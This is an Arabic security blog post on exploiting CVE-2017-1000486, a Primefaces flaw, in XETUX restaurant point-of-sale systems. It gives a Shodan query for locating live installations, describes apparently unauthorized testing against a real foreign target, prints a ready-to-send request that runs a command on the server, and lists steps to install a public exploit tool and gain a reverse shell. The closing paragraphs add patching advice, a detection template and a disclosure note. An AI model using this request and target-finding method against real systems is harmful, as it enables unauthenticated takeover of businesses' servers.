
استغلال CVE-2017-1000486
في هذه الفرصة، صادفنا بالصدفة ثغرة أمنية موجودة في العديد من تطبيقات نقاط البيع للمطاعم XETUX، وهو حل لمراقبة المطاعم وأتمتتها. في بنما، تُستخدم هذه الأداة على نطاق واسع من قبل العديد من المطاعم.
الثغرة الموجودة هي RCE (تنفيذ التعليمات البرمجية عن بُعد)، والتي تسمح للمهاجمين بتنفيذ أكواد دون مصادقة واكتساب امتيازات على الهدف.

بمجرد أن اكتشفنا وجود مكتبة في تطبيق Xetux، وتُدعى هذه المكتبة Primefaces، والمسؤولة عن توليد ملفات PDF، قررنا إجراء بحث في Shodan لتحديد الأهداف المحتملة.
http.title:"@XETUX" country:PA
أسفر البحث عن 40 نتيجة في بنما و334 في العالم

شرعنا في التحقق من الثغرة على أحد الأهداف التي لم تكن في بنما، وعند تحليل النتائج ظهر لنا النهاية الخلفية (backend)

يمكننا ملاحظة أن التطبيق تم تثبيته بجميع الامتيازات nt authoriy\system، وسنشرح ما يحدث بعد ذلك:
يستخدم التطبيق Apache Tomcat كخادم، وبالنسبة للنهاية الخلفية يُستخدم Java. يستخدم التطبيق مكتبة أو إضافة طرف ثالث تُسمى Primefaces، والمسار الذي يحتوي على المشكلة هو نقطة النهاية javax.faces.resource/dynamiccontent.properties.xhtml
عند البحث عن هذه المكتبة وجدنا ثغرة، حيث يقوم Primefaces بتحميل المحتوى الديناميكي بالطريقة التالية
/javax.faces.resource/dynamiccontent.properties.jsf?ln=primefaces&pfdrid=dY1NMdRjZ4sqkGAPrRzKkmxm5b1DSrlJ7VXTVU2i7gmrhtVAkmH7aR8cUk7h%2BTgl&forcereload=1523006610695&pfdrid_c=true
تكمن المشكلة في المعامل pdfid
pfdrid=dY1NMdRjZ4sqkGAPrRzKkmxm5b1DSrlJ7VXTVU2i7gmrhtVAkmH7aR8cUk7h%2BTgl
قيمة المعامل تأتي مشفرة ولا توجد طريقة للتحقق مما إذا كان الطلب سيُفك تشفيره بشكل صحيح. لسوء الحظ، إذا لم يتم تعديل قيم المفتاح الافتراضي، يمكن طلب توليد مفتاح افتراضي (default key)، ولحسن حظنا فإن جميع الاختبارات التي أجريناها احتفظت بالمفتاح الافتراضي.
وبالمثل، يمكن تنفيذ هجوم Padding Oracle Attack والحصول على المفتاح باستخدام أداة Padbuster. وفيما يلي نشارك الطلب:
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: ip:9090
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 1643
pfdrt=sc&ln=primefaces&pfdrid=4xE5s8AClZxUxmyaZjpBstMXUalIgOJHOtvxel%2Fv4YXvibdOn52ow4M6lDaKd9Gb8JdQqbACZNWVZpVS%2B3sX1Hoizouty1mYYT4yJsKPnUZ0LUHDvN0GB5YLgX1PkNY%2B1ZQ%2FnOSg5J1LDyzAjBheAxLDODIVcHkmJ6hnJsQ0YQ8bMU5%2B%2BTqeD4BGqCZMDjP%2BZQvveiUhxsUC%2F%2BtPqnOgFSBV8TBjDSPNmVoQ9YcKTGelKuJjS2kCXHjcyz7PcQksSW6UUmKu9RhJ%2Bx3Mnx6j56eroVPWnM2vdYRt5An6cLo1YPXu9uqriyg1wgm%2F7xYP%2FUwP1q8wfVeyM4fOw2xJzP6i1q4VLHLXi0VYHAIgaPrZ8gH8XH4X2Kq6ewyrJ62QxBF5dtE3tvLAL5tpGxqek5VW%2BhZFe9ePu0n5tLxWmqgqni8bKGbGrGu4IhXhCJhBxyelLQzPGLCfqmiQwYX5Ime9EHj1k5eoWQzH8jb3kQfFJ0exVprGCfXKGfHyfKfLEOd86anNsiQeNavNL7cDKV0yMbz52n6WLQrCAyzulE8kBCZPNGIUJh24npbeaHTaCjHRDtI7aIPHAIhuMWn7Ef5TU9DcXjdJvZqrItJoCDrtxMFfDhb0hpNQ2ise%2BbYIYzUDkUtdRV%2BjCGNI9kbPG5QPhAqp%2FJBhQ%2BXsqIhsu4LfkGbt51STsbVQZvoNaNyukOBL5IDTfNY6wS5bPSOKGuFjsQq0Xoadx1t3fc1YA9pm%2FEWgyR5DdKtmmxG93QqNhZf2RlPRJ5Z3jQAtdxw%2BxBgj6mLY2bEJUZn4R75UWnvLO6JM918jHdfPZELAxOCrzk5MNuoNxsWreDM7e2GX2iTUpfzNILoGaBY5wDnRw46ATxhx6Q%2FEba5MU7vNX1VtGFfHd2cDM5cpSGOlmOMl8qzxYk1R%2BA2eBUMEl8tFa55uwr19mW9VvWatD8orEb1RmByeIFyUeq6xLszczsB5Sy85Y1KPNvjmbTKu0LryGUc3U8VQ7AudToBsIo9ofMUJAwELNASNfLV0fZvUWi0GjoonpBq5jqSrRHuERB1%2BDW2kR6XmnuDdZMt9xdd1BGi1AM3As0KwSetNq6Ezm2fnjpW877buqsB%2BczxMtn6Yt6l88NRYaMHrwuY7s4IMNEBEazc0IBUNF30PH%2B3eIqRZdkimo980HBzVW4SXHnCMST65%2FTaIcy6%2FOXQqNjpMh7DDEQIvDjnMYMyBILCOCSDS4T3JQzgc%2BVhgT97imje%2FKWibF70yMQesNzOCEkaZbKoHz498sqKIDRIHiVEhTZlwdP29sUwt1uqNEV%2F35yQ%2BO8DLt0b%2BjqBECHJzI1IhGvSUWJW37TAgUEnJWpjI9R1hT88614GsVDG0UYv0u8YyS0chh0RryV3BXotoSkSkVGShIT4h0s51Qjswp0luewLtNuVyC5FvHvWiHLzbAArNnmM7k%2FGdCn3jLe9PeJp7yqDzzBBMN9kymtJdlm7c5XnlOv%2BP7wIJbP0i4%2BQF%2BPXw5ePKwSwQ9v8rTQ%3D%3D&cmd=whoami
كما ذكرنا سابقًا، المكتبة التي تحتوي على ثغرة RCE هي Primefaces، والتي لديها أداة استغلال عامة CVE-2017-1000486
سنختبر الثغرة عن طريق تنزيل الأداة (exploit):
git clone https://github.com/pimps/CVE-2017-1000486.git
cd CVE-2017-1000486
pip3 install -r requirements.txt
نقوم بتشغيل الأداة

ستعطينا الأداة مفتاحًا والطلب

سيعيد إلينا نتيجة الأمر

الآن سنقوم بالحصول على الصدفة العكسية (reverse shell) للوصول إلى الخادم:

من المهم الإشارة إلى أن الثغرة لا تقتصر على برنامج Xetux فقط، فهي موجودة في مكتبة Primefaces وتوجد في تطبيقات أخرى مثل MaxView Storage Manager و DOCBOX.
التصحيحات لهذه الثغرة متوفرة منذ سنوات، حيث يعود تاريخها إلى 2017، ويُنصح بتحديث Primefaces.
الوصول إلى نقطة النهاية يتم دون مصادقة، لذا يمكن لأي شخص إرسال طلبات، ويجب التحقق من صحة الطلبات.
إذا كنت تستخدم أيًا من التطبيقات المذكورة، نشاركك مستودع Nuclei الذي يمكنك من خلاله التحقق مما إذا كنت عرضة للثغرة: https://gitlab.com/t0adsec/nuclei-templates
لقد أبلغنا موردي التطبيق في بلدانهم المعنية بمسؤولية، ومع ذلك لم نتلقَ أي تواصل من جهتهم حتى تاريخه.